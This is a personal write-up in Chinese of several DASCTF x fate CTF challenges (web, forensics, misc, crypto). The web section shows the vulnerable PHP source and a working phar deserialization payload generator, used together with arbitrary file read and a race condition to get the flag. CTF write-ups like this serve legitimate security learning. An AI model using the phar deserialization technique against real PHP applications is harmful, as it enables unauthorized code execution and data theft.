DASCTF x fate 四月赛 个人WriteUP

图片[1]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

soeasy_php

文件上传,右键可以看见一个隐藏的内容,

图片[2]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

发现被隐藏的edit,弄出来发包,两个参数,一个是png,一个是flag,简单测了一下,png存在任意文件读取漏洞,把index.php,upload.php,edit.php全部读取
挨个看一下
edit.php

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}

upload.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};

index.php没啥东西不用看了 关键点在于

图片[3]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

一眼顶针,出现phar了,结合上面的class,那就打phar反序列化

<?php
    class flag {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new flag();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

拿出从往上抄的脚本,生成后上传 ,自动转换为图片,记住路径,然后再下次中使用phar反序列化触发他的SFTQL,这样他就会生成/tmp/flag.txt

图片[4]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

在访问

图片[5]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

触发 最后访问/uploads/head.php

图片[6]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

一眼顶针,被前面删除了,很明显就是条件竞争,由于最后半小时做的,时间不够写脚本了,直接bp三个包一起发送就行了,也算是条件竞争(爆论!

图片[7]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

问卷

问卷

SimpleFlow

简单题,蚁剑流量分析,看到最后,可以看见一个zip包出来了,

图片[8]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

那么提出来,发现有密码,看了眼相应包,发现前面执行ls的时候没有flag.zip,那么也就是说现场生成的,往前翻

图片[9]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

找到,那么就是在这里。把上面的攻击流关键位置提取解密,即可获得passwd

图片[10]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

密码解密提取的flag.zip即可拿下

熟悉的猫

下载附件得到一个zip文件,zip内有一个flag.zip压缩包和一个kdbx文件 用 passwarekitforensic 爆破一下kdbx密码,得到flag.zip的密码,可以直接看到,也可以用keepass打开看到: jbRw5PB2kFmor6IeYYil

图片[11]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

解开压缩包得到一个flag.png和hint.txt,看flag.png的特征很明显是一个arnold置乱,hint.txt内有一个k值,并且有一个零宽字节,解一下零宽字节,得到22*160

图片[12]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

根据一串很长的k值,可知是塔珀自指公式 https://article.itxueyuan.com/7DyrkD

修改一下脚本 x=22 y=160

import numpy as np
import matplotlib.pyplot as plt
from PIL import Image


def Tupper_self_referential_formula(k):
    aa = np.zeros((22, 160))
    def f(x, y):
        y += k
        a1 = 2 ** -(-22 * x - y % 22)
        a2 = (y // 22) // a1
        return 1 if a2 % 2 > 0.5 else 0

    for y in range(22):
        for x in range(160):
            aa[y, x] = f(x, y)
    return aa[:, ::-1]


k = 92898203278702907929705938676672021500394791427205757369123489204565300324859717082409892641951206664564991991489354661871425872649524078000948199832659815275909285198829276929014694628110159824930931595166203271443269827449505707655085842563682060910813942504507936625555735585913273575050118552353192682955310220323463465408645422334101446471078933149287336241772448338428740302833855616421538520769267636119285948674549756604384946996184385407505456168240123319785800909933214695711828013483981731933773017336944656397583872267126767778549745087854794302808950100966582558761224454242018467578959766617176016660101690140279961968740323327369347164623746391335756442566959352876706364265509834319910419399748338894746638758652286771979896573695823608678008814861640308571256880794312652055957150464513950305355055495262375870102898500643010471425931450046440860841589302890250456138060738689526283389256801969190204127358098408264204643882520969704221896973544620102494391269663693407573658064279947688509910028257209987991480259150865283245150325813888942058
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
# 翻转
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()

将得到的图片水平翻转一下

得到33 121 144 其中a=121 b=144 i=33,做一个arnold置乱,但实际33并没有用,因为第一轮就可以得到flag了 参考文章:(48条消息) Python实现Arnold图像置乱算法_江心之人的博客-CSDN博客_arnold置乱

import numpy as np
import cv2

r = 800
a = 121
b = 144
img = cv2.imread("flag.png", 1)
p = np.zeros([r, r, 3], np.uint8)
def dearnold(img):
    for x in range(0, r):
        for y in range(0, r):
            xx = -((a * b + 1) * x - b * y) % r
            yy = -(-a * x + y) % r
            p[xx][yy] = img[x][y]
    return p

for i in range(0, 33):
    p = dearnold(img)
    img = p
    cv2.imwrite(str(i) + ".png",p)

跑一下即可在第一轮置换得到flag

冰墩墩

下载附件是个压缩包炸弹,十几万个txt文件 先写个脚本全部解压一下:

import zipfile
import sys

zipfilename = 'BinDunDun.zip'
z = zipfile.ZipFile(zipfilename, 'r')
name_list = z.namelist()
for i in name_list:
    z.extract(i, path='zip\\')

10多万个txt文件全部保存在zip目录下,然后将所有txt文件的数据全部放在一个txt内

import os
fp = open('result.txt', 'w')

dir_list = os.listdir('zip\\BinDunDun\\')
for i in dir_list:
    fs = open('zip\\BinDunDun\\' + i, 'r')
    data = fs.read()
    fp.write(i + '\t' + data + '\n')
fp.close()
图片[13]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

之后从start.txt开始往后读取,发现一共读了52021份txt,还有一半没有读取。并且可以发现有两个txt文件指向end.txt,尝试将两组数据全部遍历提取出来,并且每个txt内的二进制数据,需要做一个16位补齐。脚本如下:


flag = ''
fp = open('flag.txt', 'w')
i = 1
flag += dic1['start.txt'][0].zfill(16) + ' '
name = dic1['start.txt'][-1]
while 1:
    flag += dic1[name][0].zfill(16) + ' '
    name = dic1[name][-1]
    i += 1
    if name == 'end.txt':
        break
print(i)
fp.write(flag)
fp.close()


flag = ''
fs = open('flag2.txt', 'w')
i = 2
flag += dic2['ox1an93529.txt'][0].zfill(16) + ' '
name = dic2['ox1an93529.txt'][-1]
while 1:
    try:
        flag += dic2[name][0].zfill(16) + ' '   # 这是从后往前读,如果需要改成从前往后的顺序,改成flag = dic2[name][0] + flag + ' '
        name = dic2[name][-1]
        i += 1
    except:
        break
print(i)
fs.write(flag)
fs.close()
图片[14]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

然后用cyberchef转一下数据,保存

图片[15]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

同理,将两个文件都保存一下,发现两个压缩包内都是有一个BinDunDun和一个BinDunDun.pyc 修复一下BinDunDun的文件头,FFDDDD改为FFD8FF,得到JPG图片 两张JPG图片不一样,pyc文件是一样的 对BinDundun.pyc进行一个剑龙隐写解密

图片[16]-DASCTF x fate 四月赛 个人WriteUP-魔法少女雪殇

莫名其妙,脑洞了一波直接用jph5对图片做解密就出flag了。。。至于为什么放两段,我不理解 两张图片得到两个txt文件

REFTQ1RGe0dvb2RfSm9kX0dpdmVfVGhlX0ZGRkZMQGdfVG9fWW91IX0=
ZmxhZ3tHb29kX0pvZF9HaXZlX1RoZV9GRkZGTEBnX1RvX1lvdSF9

base64解密完得到:

DASCTF{Good_Jod_Give_The_FFFFL@g_To_You!}
flag{Good_Jod_Give_The_FFFFL@g_To_You!}

属实不明白为什么不删除flag{Good_Jod_Give_The_FFFFL@g_To_You!}的原文件

Crypto

easy_real

签到题,已知pqecn求m,直接写脚本吧,最后m结果要异或爆破

import libnum

p= 64310413306776406422334034047152581900365687374336418863191177338901198608319
q= 65267138038038699886916162739434586079731613825212388229424706115289974540917
e= 23
c= 3298176862697175389935722420143867000970906723110625484802850810634814647827572034913391972640399446415991848730984820839735665233943600223288991148186397
n=p*q
phi_n=(p-1)*(q-1)

d=libnum.invmod(e,phi_n)

m=pow(c,d,n)
print(m)
m = 2976168736142380455841784134407431434784057911773423743751382131043957
m1 = libnum.n2s(m)
flag='ndios_;9kgE;WK8e;W?gWn<\\;k|nu'
print(str(m1))
for key in range(1,11): 
    print('')
    for i in range(len(m1)):
        print(chr(ord(flag[i])^key),end='')

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情